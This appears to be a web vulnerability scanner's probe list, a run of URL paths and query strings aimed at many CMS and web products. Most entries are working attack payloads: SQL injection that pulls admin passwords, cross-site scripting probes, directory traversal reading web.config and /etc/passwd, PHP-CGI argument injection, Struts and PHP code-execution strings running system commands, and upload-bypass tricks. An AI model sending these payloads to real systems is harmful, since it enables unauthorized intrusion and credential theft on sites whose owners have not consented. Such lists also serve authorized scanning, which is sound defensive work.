/admin_aspcms/_style/aspcms_stylefun.asp?action=edit /admin_aspcms/index.asp /admin_login.asp /admin_login.asp?action=login&usr=admin&pwd=admin /admin_login.php /admincp.php /ajax.php?act=check_field&field_name=user_name&field_data=webscan%27 /ajax.php?act=count_buy_total&ecvsn=1'%20and%20(select%201%20from%20%20(select%20count(*) /ajax.php?act=verify_ecv&ecvsn=360scan%27 /ajax.php?act=verify_ecv&ecvsn=360scan&ecvpassword=webscan%27 /ajax.php?action=contentpage /ajax.php?action=dig&module=members%20set%20username=00000 /ajax.php?action=digg&idtype=shop&keyid=1%20and%28select%201%20from%28select%20count%28%2A%29%2Cconcat%28%28select%20%28select%20%28Select%20concat%28modoer_admin.password%2C0x3c%2Cmodoer_admin.adminname%29%20FROM%20modoer_admin%20LIMIT%200%2C1%29%20%29%20from%20information_schema.tables%20limit%200%2C1%29%2Cfloor%28rand%280%29%2A2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%20and%201%3D1 /ajax.php?action=letter&letter=a /ajax.php?action=letter&letter=a&moduleid=1//***/union//***/select//***/1 /ajax.php?action=vote /ajax.php?mod=check&code=email&email=a%2527%2bor%2b%28role_id%3D2%2band%2bascii%28substring%28%252756789%2527%2bfrom%2b2%29%29%3D54%29%2bor%2b%25272%2527%3D%25271&submit= /announce/announce.php /ap\\-application\\.bootstrap /apas/portal/tableDownload/download.jsp?tmpfilename=../index.jsp /apc/apc.php /api.php /api.php?act=../../robots.txt%00:template_info&api_version=1.0&app=12 /api.php?act=1&appname=../../core/html/pages/about.html%00 /api.php?act=get_product_detail_info&api_version=3.1 /api.php?act=get_products_list&api_version=3.1 /api.php?act=get_spec_single&api_version=3.1 /api.php?act=search_dly_type&api_version=1.0 /api.php?act=search_payment_cfg_list&api_version=2.0 /api.php?act=search_sub_regions&api_version=1.0 /api.php?act=set_shopex_conf&api_version=5.0 /api.php?action=File&ctrl=download&path=api.php /api.php?c=opt&f=index&group_id=-1%20union%20select%201 /api.php?mod[]=ks /api.php?mode=test&code=info /api.php?op=map&maptype=1&city=test%3Cscript%3Ealert%28/42873/%29%3C/script%3E /api.php?op=map&maptype=1&defaultcity=%E5%8C%97%E4%BA%AC&api_key=%22%3E%3C/script%3E%3Cscript%3Ealert%28/42873/%29;%3C/script%3E /api.php?op=map&maptype=1&defaultcity=%E5%8C%97%E4%BA%AC&field=%29%3C/script%3E%3Cscript%3Ealert%2842873%29%3C/script%3E// /api.php?op=map&maptype=1&defaultcity=%e5%22;alert%28/42873/%29;// /api.php?op=video_api&pc_hash=1&uid=1&snid=%3C/script%3E%3Cscript%3Ealert(/42873/)%3C/script%3E//&do_complete=1%20 /api.php?op=video_api&pc_hash=test%22/%3Ec%3Cscscriptript%3Ealert(42873)%3C/scscriptript%3E&&do_complete=1&uid=1&snid=1 /api.php?op=video_api&uid=1&snid=1&pc_hash=%3C/script%3E%3Cscript%3Ealert(/360/)%3C/script%3E//&do_complete=1 /api/alipay/alipayto.php /api/call.php?action=query&num=123%27%29%2f%2a%2a%2funion%2f%2a%2a%2fselect%2f%2a%2a%2f1%2C2%2C3%2Cconcat%280x60746869737e6973406e6f742365786973745f696e2374686973407365727665727e332e313431353932313260%2Cusername%2C0x3a%2Cpassword%2C0x7e7e7e7e%29%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2f%2a%2a%2ffrom%2f%2a%2a%2fuser%2f%2a%2a%2flimit%2f%2a%2a%2f0%2C1%23 /api/datacall.php?type=user&by=360webscan&order=/**/&limit=1 /api/datacall.php?type=user&order=/**/&limit=1&by=userid%20and%20(SELECT%201%20FROM%20(select%20count(*) /api/search.php?moduleid=5 /api/shop.aspx /api/trade/notify_credit.php /api/uc.php?code=5b8flJX%2Bxy1Cv97XmC6LHcjkTOAcdGIA0HhH04grt95Uh6TJ0Y0zIyqmyvfmITeL%2F47YRoPLqItWV1DhjdywkJRjpD0hg4edjdvHridVFZpq12xX%2BC8k8iPpJ1HVJQ /api/uc.php?code=69c4bS4iBg%2F8vyhIIhRRVqexlcxC30h7ota3FP07n6YGMjd%2BBihmLDuYJdyZakPCnzVjz6uCpamupQ8l%2F2hMJAOk%2F0bn6cL9QzTS2UiZD7M /api/uc.php?code=e58bJh4lGn7%2F87F38CD3nphwoQNenQoOElYFu9%2FBvZV2gsgxPnmRmq3iJZcx%2FF1LPelzduVe3ZFJOD4Y0vpB388niaie8ECa%2FYA%2BqA13TPGzW5EpO%2FHaShEiHdaEqgyeRf%2Bh1EBCq3UASAPet%2BTI4R8tIKfU05ENmo5bK8Fj6DHvC9%2BtIksTeaOgmBzDwHdMbbLQwjGtvauIjUNnf2FglhdFD3mQdDiOq2rSSWxWPkQEYV0Z5ihe2YhVrmUlAVJqSshZ3wh5zdfjWzCUnP4I7k3f%2B2khp64tgUEbwIdcoV38Ei47PSd5h02j9uBvIs7yg%2ByfJ7zp5ArNiq3wuDcy9LtAXup68g /api/uc.php?code=fd92NqvC0fvDd3K8T4F9wiNlGHGg%2Bz13GSxyds04jK36mfZacZwYY5bVdHPO0hSTj4Zd4Q7mhGp70q%2BosC6PYhZZQxKJp3vOR5z5SQ /api/upload/swfthumbnail.php?id=../../include/common.inc.php /app/user/html/role.html /apps/include.php?file=index.php /article.php?act=list&catid=0&keyword=%d5'%20and(select%201%20from(select%20count(*) /article_cat.php?id=12 /asearch.do?status=showpage&LanguageType=0%27%20and%201=2%20union%20select%201%2C%27draGxn%27%2C3%2C4%20from%20account--%271 /ask/search.aspx?type=1%27+AND+9107%3DCONVERT%28INT%2C%28SELECT+CHAR%28113%29%2BCHAR%28111%29%2BCHAR%28107%29%2BCHAR%28103%29%2BCHAR%28113%29%2BCHAR%2845%29%2BCHAR%2845%29%2BCHAR%2845%29%2BCHAR%2845%29%2B%28SELECT+SUBSTRING%28%28ISNULL%28CAST%28%40%40VERSION+AS+NVARCHAR%284000%29%29%2CCHAR%2832%29%29%29%2C1%2C100%29%29%2BCHAR%28113%29%2BCHAR%28111%29%2BCHAR%28107%29%2BCHAR%28103%29%2BCHAR%28113%29%2BCHAR%2845%29%2BCHAR%2845%29%2BCHAR%2845%29%2BCHAR%2845%29%29%29+AND+%27czYG%27%3D%27czYG /ask/search_ajax.php?q=1%D5%27%20and%20(SELECT%201%20FROM%20(select%20count(*) /ask/search_ajax.php?q=s%bb%27 /asp/search.asp /aspcheck.asp /awstatstotals.php?sort=%7b%24%7becho '1707f956f4981927d9ed8545b9b6e92a'%7d%7d%7b%24%7bexit%28%29%7d%7d /awstatstotals.php?sort=%7b%24%7becho '74c170425247a03c0c6402101de8fae2'%7d%7d%7b%24%7bexit%28%29%7d%7d /backend /backup /backup.rar /backup.tar.gz /backup/ /baike/js/jqeditor/skins/bg/index.php /baike/style/default/admin/open.gif /baike/utf8/style/default/admin/open.gif /bak/ /basket.asp?h%77_id=513%20and%201=2 /bbs/index.php/ajax/api/reputation/vote/ /bbx//jiufang/?q=${@die(print(md5(0.360964121845)))} /bbx//jiufang/?q=${@die(print(md5(0.498831004032)))} /bbx//meng/?q=${@die(print(md5(0.360964121845)))} /bbx//meng/?q=${@die(print(md5(0.498831004032)))} /bbx//mingfang/?q=${@die(print(md5(0.360964121845)))} /bbx//mingfang/?q=${@die(print(md5(0.498831004032)))} /bbx//mingyan/?q=${@die(print(md5(0.360964121845)))} /bbx//mingyan/?q=${@die(print(md5(0.498831004032)))} /bbx//miyu/?q=${@die(print(md5(0.360964121845)))} /bbx//miyu/?q=${@die(print(md5(0.498831004032)))} /bbx//naojin/?q=${@die(print(md5(0.360964121845)))} /bbx//naojin/?q=${@die(print(md5(0.498831004032)))} /bbx//pianfang/?q=${@die(print(md5(0.360964121845)))} /bbx//pianfang/?q=${@die(print(md5(0.498831004032)))} /bbx//raokouling/?q=${@die(print(md5(0.360964121845)))} /bbx//raokouling/?q=${@die(print(md5(0.498831004032)))} /bbx//sfz/?q=${@die(print(md5(0.360964121845)))} /bbx//sfz/?q=${@die(print(md5(0.498831004032)))} /bbx//tianqi/?q=${@die(print(md5(0.360964121845)))} /bbx//tianqi/?q=${@die(print(md5(0.498831004032)))} /bbx//xiehouyu/?q=${@die(print(md5(0.360964121845)))} /bbx//xiehouyu/?q=${@die(print(md5(0.498831004032)))} /bbx//yanfang/?q=${@die(print(md5(0.360964121845)))} /bbx//yanfang/?q=${@die(print(md5(0.498831004032)))} /bbx//yanyu/?q=${@die(print(md5(0.360964121845)))} /bbx//yanyu/?q=${@die(print(md5(0.498831004032)))} /bbx//yb/yb.php?q=${@die(print(md5(0.360964121845)))} /bbx//yb/yb.php?q=${@die(print(md5(0.498831004032)))} /bbx//youbian/?q=${@die(print(md5(0.360964121845)))} /bbx//youbian/?q=${@die(print(md5(0.498831004032)))} /bbx//zhongcaoyao/?q=${@die(print(md5(0.360964121845)))} /bbx//zhongcaoyao/?q=${@die(print(md5(0.498831004032)))} /bbx//zhoupu/?q=${@die(print(md5(0.360964121845)))} /bbx//zhoupu/?q=${@die(print(md5(0.498831004032)))} /besthr/index.php?type=1%20and%20@%60%5C'%60%20or%20ascii(substring((select%20a_user%20from%20job_admin) /bk/ /bocadmin/j/uploadify.php /bom.php?dir=. /box.php? /broadcast/displaynewspic.aspx?id=1/**/and/**/1=char(106)/**/ /build.sh /c.php?id=1 /cache/bak_mysql.txt /cacti /cai_study.asp?FN=cai/test.flv&cls_no=&cai_no=lzgy&stu_no=1122'%20and%201=char(106);-- /cart.php /case/?settings[met_img]=met_admin_table%20where%201=1%20--%201 /category/1)%20AND%20(SELECT%204037%20FROM(SELECT%20COUNT(*) /celive/js/include.php?departmentid=webscan'&cmseasylive=1 /cgi-bin/learn-msg.cgi?id=%7Cecho+anVzdF9pc19hX3RzZXRfOTUyNzEy%7Cbase64+-d%3B /cgi-bin/php-cgi?-d+allow_url_include%3Don+-d+safe_mode%3Doff+-d+suhosin.simulation%3Don+-d+disable_functions%3D%22%22+-d+open_basedir%3Dnone+-d+auto_prepend_file%3Dphp%3A%2F%2Finput+-d+cgi.force_redirect%3D0+-d+cgi.redirect_status_env%3D0+-n /cgi-bin/php.cgi?-d+allow_url_include%3Don+-d+safe_mode%3Doff+-d+suhosin.simulation%3Don+-d+disable_functions%3D%22%22+-d+open_basedir%3Dnone+-d+auto_prepend_file%3Dphp%3A%2F%2Finput+-d+cgi.force_redirect%3D0+-d+cgi.redirect_status_env%3D0+-n /cgi-bin/php4?-d+allow_url_include%3Don+-d+safe_mode%3Doff+-d+suhosin.simulation%3Don+-d+disable_functions%3D%22%22+-d+open_basedir%3Dnone+-d+auto_prepend_file%3Dphp%3A%2F%2Finput+-d+cgi.force_redirect%3D0+-d+cgi.redirect_status_env%3D0+-n /cgi-bin/php5?-d+allow_url_include%3Don+-d+safe_mode%3Doff+-d+suhosin.simulation%3Don+-d+disable_functions%3D%22%22+-d+open_basedir%3Dnone+-d+auto_prepend_file%3Dphp%3A%2F%2Finput+-d+cgi.force_redirect%3D0+-d+cgi.redirect_status_env%3D0+-n /cgi-bin/php?-d+allow_url_include%3Don+-d+safe_mode%3Doff+-d+suhosin.simulation%3Don+-d+disable_functions%3D%22%22+-d+open_basedir%3Dnone+-d+auto_prepend_file%3Dphp%3A%2F%2Finput+-d+cgi.force_redirect%3D0+-d+cgi.redirect_status_env%3D0+-n /cgi-bin/web2cgi/get_att.cgi?up_attach=|echo%20this_is_exist_on_this_server_3.1415192 /cgi/index.cgi?error=badlogin&__mode=show_login%27%22%28%29%26%25%3CScRiPt%20%3Ealert%2842873%29%3C%2fScRiPt%3E /channel/QueryHig.aspx?AcceptDept=&AppBusinessName='/**/and/**/char(106)%3E0/**/%20--%20 /chatupload.php /ckeditor/samples/sample_posteddata.php /ckfinder/core/connector/aspx/connector.aspx?command=FileUpload&type=Files¤tFolder=/ /cms/client/uploadpic_html.jsp?toname=test.jsp&diskno=webscan /cms/cms/site/cms_site_template_upload.jsp?action=save /cms/common/filechooseold/browser.jsp?webapppath=&uploadpath= /cms/fileupload/uploadwordpic.jsp?AddWebInfoTID=11&AddWebColumnID=22&filepath=/app/ /cms/web/columninfo.jsp?ColumnID=-5%20UNION%20SELECT%201 /cms/web/testsql.jsp /comm_front/email/uploadImageFile_do.jsp /comments.php?id=3a&tablepre=boka_cfreer /common.asp?id=19+and+1=2+union+select+1 /common.inc /common/lib/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media /company/index.php?datetime=&page=2&position=&profession=&type=1%20and%201=2&workadd= /compare.php?goods[]=1111&goods[]=1112&goods[]=1113%22%3E%3Cscript%3Ealert(360)%3C/script%3E /conf /config /config.php~ /config/dbconfig.ini /confs /conn.inc /connect.inc /connect.php?receive=yes&mod=login&op=callback&referer=webscan%5Cu0027.replace(/.%2b/ /connect.php?receive=yes&mod=login&op=callback&referer=webscan%bf%5Cu0027.replace(/.%2b/ /connect.php?receive=yes&mod=login&op=callback&referer=xyz%bf\\u0027.replace(/.%2b/ /console/j_security_check /console/login/LoginForm.jsp /convert/index.php /core/site.xml /count.php?type=news%20SET%20views%20=%20views-1%20WHERE%20id=1%20and%201=(updatexml(1 /counter/counter2.php?id=(select%201%20from%20(select%20count(*) /counter/main.aspx /crossdomain.xml /css/style.css/indexindex.php /customform/CustomFormList.aspx?pageindex=1&divid=530602186870.fs_sys_user%20where%201=(select%20username%20%20from%20fs_sys_user%20where%20id=1);--.1.1 /cycle_image.php?language=3%20AND%20%28SELECT%201829%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x7176736471%2C%28MID%28%28IFNULL%28CAST%28CURRENT_USER%28%29%20AS%20CHAR%29%2C0x20%29%29%2C1%2C50%29%29%2C0x71706e6471%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29 /cycle_image.php?language=999%20union%20select%201 /data.mdb /data/%23data.asp /data/js.php?id=1 /database.inc /db.inc /db/%23ewebeditor.mdb /db/ewebeditor.mdb /dealfunc/comment_js.php?cmid=1%20order%20by%2030--webscan_draGxn /deals?end_time=1&searchName=%25'%20AND%201=1%20AND%20'%25'='&start_time=1 /debug.cgi /demos/upload.php /do/api/uc.php?code=0bafU3yf6F7GsKqf3iZb1mSEZGreWpWlgHPE7DZRfkxE%2BOKOacQgl4JLy%2FS389F7qVCajFQ0xuDo1y6UUvt3NoR85dpBZd%2BdSNT7PaI /do/api/uc.php?code=3313Q1ueQOU%2B1vFFJiosRu1wjJh0TPNrnivmg700mcfy4aJR3QChRsLmasXzCBnypE%2BZ8Oj9hPTpwoVCmRCIcG4lFbZfMhTlmKdb7Sc /do/count.php?fid=1'%3E%22)%3C/script%3E%3Cscript%3Ealert(String.fromCharCode(120 /do/fujsarticle.php?type=like&FileName=../cache/275801d79793db5f499134b1864ea032.txt /do/fujsarticle.php?type=like&FileName=../cache/3b31c1ca35b3a57e171977665abe4262.txt /do/fujsarticle.php?type=like&FileName=../data/8137572f3849aabdwebscan.php&submit=check /do/kindeditor.php?id=%bf%22;alert(1);//&style=&etype= /do/s_rpc.php /domcfg.nsf /domlog.nsf /down/class/index.php?myord=0%20AND%20(SELECT%201%20FROM(SELECT%20COUNT(*) /down/class/index.php?myord=1%20AND%20(SELECT%209913%20FROM(SELECT%20COUNT(*) /downLoadFile.action?filePath=/WEB-INF/web.xml /download.aspx?id=337&accessory=UploadFile/softdown/../../web.config /download.jsp?path=WEB-INF/&name=web.xml /download.php?tfile=%5C..%5C..%5Cconfig.php /e/data/ecmseditor/infoeditor/epage/TranFile.php?InstanceName=3232%22%3E%3Cscript%3Ealert(/D/)%3C/script%3E%3C%22 /e/data/ecmseditor/infoeditor/epage/TranFlash.php?InstanceName=3232%22%3E%3Cscript%3Ealert(/D/)%3C/script%3E%3C%22 /e/data/ecmseditor/infoeditor/epage/TranImg.php?InstanceName=3232%22%3E%3Cscript%3Ealert(/D/)%3C/script%3E%3C%22 /e/data/ecmseditor/infoeditor/epage/TranMedia.php?InstanceName=3232%22%3E%3Cscript%3Ealert(/D/)%3C/script%3E%3C%22 /eWebEditor/Upload.asp?action=save&type=IMAGE&style=aaaa' union select S_ID /eWebEditor/Upload.asp?action=save&type=IMAGE&style=firefox%27%20union%20select%20S_ID /eWebwanEditorbo/admin/login.aspx?action=login /edit/admin_login.asp /edit/admin_login.asp?action=login&usr=admin&pwd=admin /editor/demos/upload.php /editor/editor/dialog/imageuser_mt_mt.php/index.php?case=user&act=login /editor/kindeditor/php/file_manager_json.php?path=/ /edoas2/edoas2_test.jsp /edoas2_test.jsp /emlib4/system/datasource/selectrecordset.aspx /engine/websigncontrol/readsigndata.jsp?id='%20union%20select%20concat(char(98 /error.log /error_log /error_log.php /ewebeditor/Upload.asp?action=save&type=IMAGE&style=aaaa' union select S_ID /ewebeditor/Upload.asp?action=save&type=IMAGE&style=firefox%27%20union%20select%20S_ID /ewebeditor/admin_login.asp /ewebeditor/admin_login.asp?action=login&usr=admin&pwd=admin /ewebeditor/php/upload.php?action=save&type=FILE&style=toby57&language=en /examlist/id-12 /examples/jsp/ /extras/curltest.php?url=file://curltest.php /favicon.ico /fck/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=FileUpload&Type=File&CurrentFolder=/ /fck/editor/filemanager/browser/default/connectors/php/connector.php?Command=FileUpload&Type=File&CurrentFolder=/ /fck/editor/filemanager/connectors/php/connector.php?Command=FileUpload&Type=Image&CurrentFolder=test192.php%00.gif /fck/editor/filemanager/connectors/php/connector.php?Command=FileUpload&Type=Image&CurrentFolder=test437.php%00.gif /fck/editor/filemanager/upload/asp/upload.asp?Type=Media /fck/editor/filemanager/upload/php/upload.php?Type=Media /fckeditor/editor/dialog/fck_about.html /fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=FileUpload&Type=File&CurrentFolder=/ /fckeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=FileUpload&Type=File&CurrentFolder=/ /fckeditor/editor/filemanager/connectors/php/connector.php?Command=FileUpload&Type=Image&CurrentFolder=test192.php%00.gif /fckeditor/editor/filemanager/connectors/php/connector.php?Command=FileUpload&Type=Image&CurrentFolder=test437.php%00.gif /fckeditor/editor/filemanager/upload/asp/upload.asp?Type=Media /fckeditor/editor/filemanager/upload/php/upload.php?Type=Media /feedback/processvalue.aspx?num=e'/**/and/**/char(106)%3E0%20-- /feedback/uploadfile_save.php /file/DownLoad.ashx?path=~/Routes.config /file/EmailDownload.ashx?url=~/web.config&name=web.config /file/FileUpload.asmx/CopyFile?sourcePath=/web.config&targetPath=/Content/cfreer.txt&overwrite=true /file/FileUpload.asmx/UploadFileBase64?url=~/Content/cesi.aspx&data=VGhpcyBpcyBhIHRlc3QgLSBieSBjZnJlZXIgd2Vic2Nhbg%3D%3D&status=0 /file/MyDownLoad.ashx?path=../web.config /file/PackagDownload.ashx?sessionId=../../../../../cfreer.txt /file/UDFDownLoad.ashx?path=~/Global.asax&name=Global.asax /file/editor.php /file/swfupload/editor.php /flash_upload.php?modelid=1%20and%20(SELECT%201%20FROM%20(select%20count(*) /flashcoms/common/server/php/file.php?action=upload /forgetbf.asp?errstr=--%3E%3C/script%3E%3Cscript%3Ealert(42873)%3C/script%3E /forum.php?mod=attachment&findpost=ss&aid=MScgYW5kIDE9MiB1bmlvbiBhbGwgc2VsZWN0IDEsVEFCTEVfTkFNRSBmcm9tIElORk9STUFUSU9OX1NDSEVNQS5UQUJMRVMgd2hlcmUgVEFCTEVfU0NIRU1BPWRhdGFiYXNlKCkgYW5kIFRBQkxFX05BTUUgbGlrZSAnJXVjZW50ZXJfbWVtYmVyc3x4fHh8eHx4 /forum/index.php/ajax/api/reputation/vote/ /forums/index.php/ajax/api/reputation/vote/ /frame/help/read_help.php?HELP_ID=-1%20union%20select%201 /frm/Count.aspx?id=29308%20AND%201=char(106)%20--&type=List /fsmcms/sysinfo.jsp /gallery--p /general/reportshop/utils/ExecUserDefFormulas.php?formulas=%3C?php%20echo%20md5('webscan');exit();?%3E /general/reportshop/utils/misc2.php?action=get_no_data_table_list&repid=1+and(select+1+from(select+count(*) /general/score/flow/scoredate/result.php?FLOW_ID=11%bf%27%20and%20(SELECT%201%20from%20(select%20count(*) /general/workflow/list/input_form/data_fetch.php?run_id=1%20and%20(SELECT%201%20from%20(select%20count(*) /general/workflow/list/roll_config.php?RUN_ID=5555%bf%27%20and%20%28select%201%20from%20%20%28select%20count%28*%29 /general/workflow/plugin/turn/test.php?RUN_ID=333%bf%27%20and%20%28select%201%20from%20%20%28select%20count%28*%29 /getpwd4.asp /go.php?a=/go.php/component/1&elements[tips]=%3C%21--%20php%20--%3E%3C%21--%20print(md5(base64_decode(MzYwd2Vic2Nhbg)))%3B%20--%3E%3C%21--%20%2Fphp%20--%3E /group/group.php?id=1%20and+1=1+and+@`'`=(SELECT+1+FROM+(select+count(*) /group/group.php?id=1%27webscan_draGxn /group/search.php?keyword=1%3Ciframe%20src=data:text/html;base64 /guanli /hdwiki/js/jqeditor/skins/bg/index.php /hdwiki/style/default/admin/open.gif /hdwiki/utf8/style/default/admin/open.gif /home.php?action=article&id=1&mytypeId=-2%20union%20select%20concat(0x7e /homepage.php/admin/member-profile /htdocs.rar /htdocs.tar.gz /httpmon.php?applications=2%20and%20%28select%201%20from%20%28select%20count%28*%29 /huangou.php?id=1%20and%201=2%20union%20select%20unhex(hex(concat(0x5e5e5e /huangou.php?id=1/**/and/**/1=2/**/union/**/select/**/0 /huangou.php?id=1/**/and/**/1=2/**/ununionion/**/seselectlect/**/0 /huangou.php?id=1/**/and/**/1=2/**/ununionion/**/seselectlect/**/unhex(hex(concat(0x5e5e5e /i.php /i.php?act=phpinfo /icons/index /icons/small/index /images/1.jpg /images/1.jpg/chenk.php /images/1.jpg/indexindex.php /images/swfupload/swfupload.swf /inc/AspCms_Visits.asp?id=1%20anexecd%201=2%20union%20selecountct%20%20top%201%200x7e%2b0x7e%2b0x7e%2bLoginName%2b0x7c%2b0x7c%2b0x7c%2bpassword%2b0x7e%2b0x7e%2b0x7e%20from%20{prefix}user /inc/admin/editor.php?load=config /inc/database/system_admin/admin.ucf /include/admin.func.php /include/common.inc.php?_POST[GLOBALS][cfg_dbname]=1 /include/common.inc.php?allclass[0]=cHJpbnQobWQ1KCIzNjB3ZWJzY2FuIikpO2RpZSgpOw /include/dialog/config.php?adminDirHand=%22/%3E%3C/script%3E%3Cscript%3Ealert(1);%3C/script%3E /include/dialog/config.php?adminDirHand=%2F%3E%3C%2Fscript%3E%3Cscript%3Ealert%281510026%29%3B%3C%2Fscript%3E /include/dialog/config.php?adminDirHand=%2F%3E%3C%2Fscript%3E%3Cscript%3Ealert%281905574%29%3B%3C%2Fscript%3E /include/dialog/select_images.php?adminDirHand=%22/%3E%3C/script%3E%3Cscript%3Ealert(1);%3C/script%3E /include/dialog/select_images_post.php?adminDirHand=%22/%3E%3C/script%3E%3Cscript%3Ealert(1);%3C/script%3E /include/dialog/select_media.php?adminDirHand=%22/%3E%3C/script%3E%3Cscript%3Ealert(1);%3C/script%3E /include/dialog/select_media_post.php?adminDirHand=%22/%3E%3C/script%3E%3Cscript%3Ealert(1);%3C/script%3E /include/dialog/select_soft.php?adminDirHand=%22/%3E%3C/script%3E%3Cscript%3Ealert(1);%3C/script%3E /include/dialog/select_soft_post.php?adminDirHand=%22/%3E%3C/script%3E%3Cscript%3Ealert(1);%3C/script%3E /include/dialog/select_templets.php?adminDirHand=%22/%3E%3C/script%3E%3Cscript%3Ealert(1);%3C/script%3E /include/dialog/select_templets_post.php?adminDirHand=%22/%3E%3C/script%3E%3Cscript%3Ealert(1);%3C/script%3E /include/global/showmod.php?id=9&dbname=met_admin_table%20where%20length(admin_pass)=32--%201 /include/hits.php?met_hits=met_download%20cross%20join%20met_admin_table%20where%20met_download.id=met_admin_table.id%20and%20length(admin_pass)=32%20--%201 /include/ip.inc.php /include/online.php?jsoncallback=%3Ciframe/onload=alert(/webscan/)%3E /include/paygate/alipay/pays.php?out_trade_no=22%27+and%28select+1+from%28select+count%28%2A%29%2Cconcat%28%28select+%28select+%28select+concat%280x7e%2C0x27%2C0x7e%2C0x7e%2C0x7e%2C0x7e%2Cmname%2C0x3a%2Cpassword%2C0x7e%2C0x7e%2C0x7e%2C0x7e%2C0x27%2C0x7e%29+from+cms_members+limit+0%2C1%29%29+from+information_schema.tables+limit+0%2C1%29%2Cfloor%28rand%280%29%2A2%29%29x+from+information_schema.tables+group+by+x%29a%29+and+%271%27%3D%271 /includes/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php /index.action /index.action?class.classLoader.jarPath=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false) /index.asp /index.php /index.php/*123*/'union/**/select/**/1 /index.php/Index/index/name/$%7B@print(md5(1122))%7D /index.php/admin/?case=archive&act=respond&code=alipay&trade_status=WAIT_SELLER_SEND_GOODS /index.php/admin/authentication/sa/login /index.php/admin/authentication/sa/notexist_path /index.php/ajax/api/reputation/vote/ /index.php/api/xmlrpc /index.php/cms/item-comment?callback=jsonp1380096883458'%22()%26%25%3Cscript%3Eprompt(42873)%3C/script%3E&iid=114&page=1&view_page=1&_=1380096883791&_ajax_request= /index.php/list-10%20UNION/**/all/**/SELECT/**/listid /index.php/module/action/param1/${@print(chr(126).chr(126).chr(126).`tasklist`.chr(126).chr(126).chr(126))} /index.php/module/action/param1/${@print(chr(126).chr(126).chr(126).file_get_contents(c.chr(58).chr(92).boot.chr(46).ini).chr(126).chr(126).chr(126))} /index.php/module/action/param1/${@print(md5(0.204910492051))} /index.php/module/action/param1/${@print(md5(0.684747658043))} /index.php/module/action/param1/{${print(chr(126).chr(126).chr(126))}}${@print(system(chr(99).chr(97).chr(116).chr(32).chr(47).chr(101).chr(116).chr(99).chr(47).chr(112).chr(97).chr(115).chr(115).chr(119).chr(100)))}{${print(chr(126).chr(126).chr(126))}} /index.php/module/action/param1/{${print(chr(126).chr(126).chr(126))}}{${system(ps.chr(0x20).chr(0x2d).ef)}}{${print(chr(126).chr(126).chr(126))}} /index.php/product/list?keyword=kn1f3'+union+select+1 /index.php/tools-staticPage.html?filename=../../../robots.txt /index.php/weblinks-categories?id=0%20)%20and%20(select%201%20from%20%20(select%20count(*) /index.php/weblinks-categories?id=webscan_cfreer /index.php?-dauto_prepend_file%3d/etc/passwd+-n /index.php?_POST[GLOBALS][cfg_dbhost]=localhost&_POST[GLOBALS][cfg_dbuser]=this_user_is_not_exist /index.php?a=1%3Cscript%3Ealert(abc)%3C/script%3E /index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing%20onmouonmouseoverseover=alert(42873)%20y=&m=content&page=&pay_type_int=&price=&rent_mode=&zone=3363 /index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing%22%20onmouseover=alert(42873)%20y=&m=content&page=&pay_type_int=&price=&rent_mode=&zone=3363 /index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=2%20onmoonmouseoveruseover=alert(42873)%20y=&zone=3363 /index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=2%22%20onmouseover=alert(42873)%20y=&zone=3363 /index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=2000_3000%20onmonmouseoverouseover=alert(42873)%20y=&rent_mode=&zone=3363 /index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=2000_3000%22%20onmouseover=alert(42873)%20y=&rent_mode=&zone=3363 /index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=4%20onmonmouseoverouseover=alert(42873)%20y=&price=&rent_mode=&zone=3363 /index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=4%22%20onmouseover=alert(42873)%20y=&price=&rent_mode=&zone=3363 /index.php?a=lists&agent=&bedroom=4_100%20onmouonmouseoverseover=alert(42873)%20y=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=&zone=336 /index.php?a=lists&agent=&bedroom=4_100%22%20onmouseover=alert(42873)%20y=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=&zone=336 /index.php?a=lists&agent=2%20onmoonmouseoveruseover=alert(42873)%20y=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=&zone=3363 /index.php?a=lists&agent=2%22%20onmouseover=alert(42873)%20y=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=&zone=3363 /index.php?a=saveAvatar&m=Uc&g=Home&id=1&photoServer=19ab43298ff724ce4fa9f974dd3dfeec.php&type=big /index.php?ac=enquiry&at=enquirysave /index.php?ac=enquiry&at=list /index.php?ac=order&at=list 